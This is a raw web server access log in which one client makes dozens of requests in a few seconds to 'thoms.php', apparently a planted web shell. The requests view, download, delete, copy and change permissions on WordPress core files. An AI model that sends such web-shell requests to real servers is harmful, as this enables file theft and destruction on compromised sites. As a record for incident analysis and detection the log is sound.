45.135.193.11 - - [11/Sep/2026:23:44:18 -0400] "GET /thoms.php?chmod=view-config.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=view-config.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:18 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-block.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:18 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-filter-sentinel.php HTTP/1.1" 200 12351 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-filter-sentinel.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:18 -0400] "GET /thoms.php?dl=class-walker-page.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59271 "http://163.245.207.76:443/thoms.php?dl=class-walker-page.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:18 -0400] "GET /thoms.php?dl=class-wp-block-processor.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-processor.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:18 -0400] "GET /thoms.php?del=class-wp-network.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-wp-network.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:18 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcustomize&p= HTTP/1.1" 200 12402 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcustomize&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:18 -0400] "GET /thoms.php?del=ms-network.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=ms-network.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:18 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-dependencies.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:18 -0400] "GET /thoms.php?dl=post-formats.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=post-formats.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:19 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-metadata-registry.php HTTP/1.1" 200 15736 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-metadata-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:19 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=rss.php HTTP/1.1" 200 19816 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=rss.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:19 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-block-styles-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:19 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-object-cache.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:19 -0400] "GET /thoms.php?dl=class-wp-icon-collections-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-icon-collections-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:19 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-site-query.php HTTP/1.1" 200 20317 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-site-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:19 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-term.php HTTP/1.1" 200 13908 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-term.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:19 -0400] "GET /thoms.php?chmod=abilities-api&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=abilities-api&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:19 -0400] "GET /booking-wise2.com.tw/wp-includes/SimplePie/ HTTP/1.1" 200 879 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:19 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fphp-ai-client&p= HTTP/1.1" 200 12402 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fphp-ai-client&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:19 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcategory-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcategory-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:19 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-json.php HTTP/1.1" 200 22291 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-json.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:19 -0400] "GET /thoms.php?chmod=class-walker-page-dropdown.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-walker-page-dropdown.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:20 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-comment.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-comment.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:20 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ftheme-compat&p= HTTP/1.1" 200 12403 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ftheme-compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:20 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=admin-bar.php HTTP/1.1" 200 23930 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=admin-bar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:20 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-block-processor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:20 -0400] "GET /thoms.php?dl=class-walker-page-dropdown.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59446 "http://163.245.207.76:443/thoms.php?dl=class-walker-page-dropdown.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:20 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-meta-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11849 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-meta-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:20 -0400] "GET /booking-wise2.com.tw/wp-includes/compat.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:20 -0400] "GET /thoms.php?del=class-wp-duotone.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-duotone.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:20 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-cookie-service.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59410 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-cookie-service.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:20 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:20 -0400] "GET /thoms.php?del=blocks&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=blocks&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:21 -0400] "GET /thoms.php?del=interactivity-api&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59362 "http://163.245.207.76:443/thoms.php?del=interactivity-api&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:21 -0400] "GET /thoms.php?dl=class-wp-block-supports.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-supports.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:21 -0400] "GET /thoms.php?dl=class-wp-post.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59406 "http://163.245.207.76:443/thoms.php?dl=class-wp-post.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:21 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-theme-json.php HTTP/1.1" 200 75080 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-theme-json.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:21 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wpdb.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wpdb.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:21 -0400] "GET /booking-wise2.com.tw/wp-includes/feed-atom.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:21 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ferror-protection.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11843 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ferror-protection.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:21 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fai-client.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fai-client.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:21 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fbookmark.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fbookmark.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:22 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-user-meta-session-tokens.php HTTP/1.1" 200 12887 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-user-meta-session-tokens.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:22 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-user-request.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11917 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-user-request.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:22 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=global-styles-and-settings.php HTTP/1.1" 200 18473 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=global-styles-and-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:22 -0400] "GET /thoms.php?del=class-http.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-http.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:22 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=ms-functions.php HTTP/1.1" 200 37985 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=ms-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:22 -0400] "GET /thoms.php?chmod=ms-load.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=ms-load.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:22 -0400] "GET /thoms.php?chmod=IXR&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=IXR&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:22 -0400] "GET /booking-wise2.com.tw/wp-includes/class-IXR.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:22 -0400] "GET /booking-wise2.com.tw/wp-includes/class-walker-page.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:22 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-walker-page-dropdown.php HTTP/1.1" 200 13104 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-walker-page-dropdown.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:22 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-post.php HTTP/1.1" 200 14568 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:22 -0400] "GET /thoms.php?chmod=feed-rss.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=feed-rss.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:23 -0400] "GET /thoms.php?chmod=Requests&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=Requests&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:23 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-styles-registry.php HTTP/1.1" 200 13895 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-styles-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:22 -0400] "GET /thoms.php?dl=feed-atom.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59402 "http://163.245.207.76:443/thoms.php?dl=feed-atom.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:23 -0400] "GET /thoms.php?chmod=class-wp-fatal-error-handler.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-fatal-error-handler.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:23 -0400] "GET /thoms.php?dl=registration.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=registration.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:23 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-image-editor.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-image-editor.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:23 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-oembed-controller.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-oembed-controller.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:23 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-post.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-post.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:23 -0400] "GET /thoms.php?chmod=l10n&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=l10n&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:23 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-oembed.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-oembed.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:23 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-navigation-fallback.php HTTP/1.1" 200 14519 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-navigation-fallback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:23 -0400] "GET /thoms.php?dl=ms-load.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=ms-load.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:24 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Frobots-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Frobots-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
